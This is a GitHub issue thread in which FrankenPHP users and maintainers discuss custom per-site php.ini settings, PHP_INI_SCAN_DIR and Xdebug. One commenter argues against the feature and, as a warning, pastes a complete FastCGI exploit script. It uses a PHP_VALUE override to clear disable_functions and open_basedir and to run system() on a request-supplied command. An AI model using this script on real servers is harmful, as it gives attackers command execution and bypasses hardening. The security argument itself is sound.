frankenphp icon indicating copy to clipboard operation
frankenphp copied to clipboard

Custom PHP (ini) settings in Caddy configuration

Open ruudk opened this issue 2 years ago • 22 comments

Discussed in https://github.com/dunglas/frankenphp/discussions/247

Originally posted by ruudk October 7, 2023 I'm wondering if it would be possible to have custom PHP ini settings in the Caddy config.

I checked https://github.com/dunglas/frankenphp/blob/main/docs/config.md but couldn't find it.

Let's say you have 2 apps:

app.example.com {
    root /path/to/app/public/
}

other.example.com {
    root /path/to/other/public/
}

For other.example.com I want to define some custom PHP ini settings.

I would like to enable a PHP extension only for one host/app.

Having a possibility to define a custom / additional php.ini file, would also be great.

The use case that I want to explore is to load the Xdebug extension, once when the XDEBUG_TRIGGER query parameter is present. This way, you'll get a blazingly fast development server, and can trigger Xdebug (which slows down the request) on demand.

It seems that Nginx Unit supports custom PHP ini settings per app, so I think it should be possible. https://unit.nginx.org/configuration/#configuration-php-options

ruudk avatar Oct 09 '23 07:10 ruudk

Good idea. This should be trivial to do. Do you want to work on a patch?

dunglas avatar Oct 09 '23 07:10 dunglas

I can try (have a bit of Go experience), if you can point me in the right direction?

ruudk avatar Oct 09 '23 07:10 ruudk

With Nginx Unit this seems possible by setting the PHP_INI_SCAN_DIR environment variable.

See:

  • https://github.com/nginx/unit/issues/969#issuecomment-1757057657

I wonder if FrankenPHP can work the same.

ruudk avatar Oct 11 '23 10:10 ruudk

Unfortunately, FrankenPHP seems to ignore this environment variable:

php_server {
    env PHP_INI_SCAN_DIR /opt/homebrew/etc/php/8.2:/opt/homebrew/etc/php/8.2/conf.d:etc/start/php
}

It does show up in phpinfo() under PHP Variables:

$_SERVER['PHP_INI_SCAN_DIR'] /opt/homebrew/etc/php/8.2:/opt/homebrew/etc/php/8.2/conf.d:etc/start/php

However, at the top of phpinfo() I see this:

key value
Configuration File (php.ini) Path /lib
Loaded Configuration File (none)
Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)

So it seems that on macOS there is not really a way to configure the php.ini.

ruudk avatar Oct 11 '23 10:10 ruudk

It works when I start FrankenPHP like this:

env PHP_INI_SCAN_DIR=:etc/start/php ~/Downloads/frankenphp run

ruudk avatar Oct 11 '23 11:10 ruudk

It's probably because the env part in the Caddy file is not really imported in the environment and loaded "too late" during the PHP executor boot to be taken into account. IMHO this is better anyway, because this variable is global and cannot be set per site (we use a global instance of the PHP executor for all sites).

dunglas avatar Oct 18 '23 12:10 dunglas

Actually, overriding php.ini is not a good thing. open_basedir and disable_functions can be bypassed with this. You should look into Hack Tricks page.

Please do not implement this feature or make it optional, with the default value set to disabled. Users should not change any php.ini settings.

I've tried this FCGI method on FrankenPHP, but it didn't work. That's a good thing. If you make this ini override method, it can lead to security issues.

Here is my 8.2 patched version of FCGI that works on Herd 8.2 PHP binary.

<?php
// https://github.com/BorelEnzo/FuckFastcgi
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <[email protected]>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data[$p++]);
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data[$p++]) << 16);
                $nlen |= (ord($data[$p++]) << 8);
                $nlen |= (ord($data[$p++]));
            }
            $vlen = ord($data[$p++]);
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data[$p++]) << 16);
                $vlen |= (ord($data[$p++]) << 8);
                $vlen |= (ord($data[$p++]));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data[0]);
        $ret['type']          = ord($data[1]);
        $ret['requestId']     = (ord($data[2]) << 8) + ord($data[3]);
        $ret['contentLength'] = (ord($data[4]) << 8) + ord($data[5]);
        $ret['paddingLength'] = ord($data[6]);
        $ret['reserved']      = ord($data[7]);
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content'][4])) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
//$client = new FCGIClient("127.0.0.1:9000", -1);
//$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$client = new FCGIClient("unix:///Users/son/Library/Application Support/Herd/herd82.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";

BurakBoz avatar Nov 11 '23 10:11 BurakBoz

@ruudk It looks like it's already possible to include a custom php.ini when it's at the current working directory (have a look at https://github.com/dunglas/frankenphp/pull/487#issuecomment-1903880950). Can you confirm if this works for you?

pierredup avatar Jan 22 '24 12:01 pierredup

I currently use an Openlitespeed server and apply env PHP_INI_SCAN_DIR=$VH_ROOT/php-configs in specific vhosts/webapps that I want to manually override. The php_configs directory contains all the various ini files for all extensions. (in case anyone is wondering, I use htaccess rules to block access to that directory and .ini files in general).

I mainly do this for xdebug purposes in a staging/dev site, though it can be useful for setting specific things like opcache and memory.

It would be great if this could be available in frankenphp.

nickchomey avatar Jan 22 '24 17:01 nickchomey

@nickchomey This is already possible with Frankenphp.

# Both commands below will load ini files from the php-configs directory

$ env PHP_INI_SCAN_DIR=$(pwd)/php-configs frankenphp php-server

$ env PHP_INI_SCAN_DIR=$(pwd)/php-configs frankenphp (run|start)

Note: When using php-server, you have to build Frankenphp yourself from the main branch until the next release.

You would also need to add custom rules to your Caddyfile to block access to the php-configs directory

pierredup avatar Jan 22 '24 19:01 pierredup

Wouldn't that apply to all sites? I want different ini config for different webapps, as has been discussed in this issue

nickchomey avatar Jan 22 '24 19:01 nickchomey

I fear that it will be difficult to achieve that with FrankenPHP because environnement variables are process-wide, and unlike most other SAPIs, FrankenPHP serves all sites using the same process (it uses threads).

We may emulate this behavior in some way, but just setting the environment variable will not be enough.

dunglas avatar Jan 22 '24 21:01 dunglas

Isn't what I've described the same as what OP described here and was suggested to be a trivial thing to implement? Am I misunderstanding something?

nickchomey avatar Jan 22 '24 21:01 nickchomey

@nickchomey AFAIU, no, it's not the same thing. OP wanted to be able to embed ini settings in the Caddyfile (which is likely trivial to implement). Using the PHP_INI_SCAN_DIR env var per site to reference external files, however, will be way harder. Actually, by "emulating this feature", I was thinking about reading the external ini files and passing their contents to PHP "manually", instead of relying on PHP_INI_SCAN_DIR.

dunglas avatar Jan 23 '24 00:01 dunglas

Ah, understood! Well, I'm happy to use the caddyfile for the same php.ini configuration variables if that's possible! In particular, to turn xdebug on/off per site (as OP said they wanted to do). Or change the max memory limit. Etc...

Or perhaps there's still some misunderstanding somewhere.

nickchomey avatar Jan 23 '24 01:01 nickchomey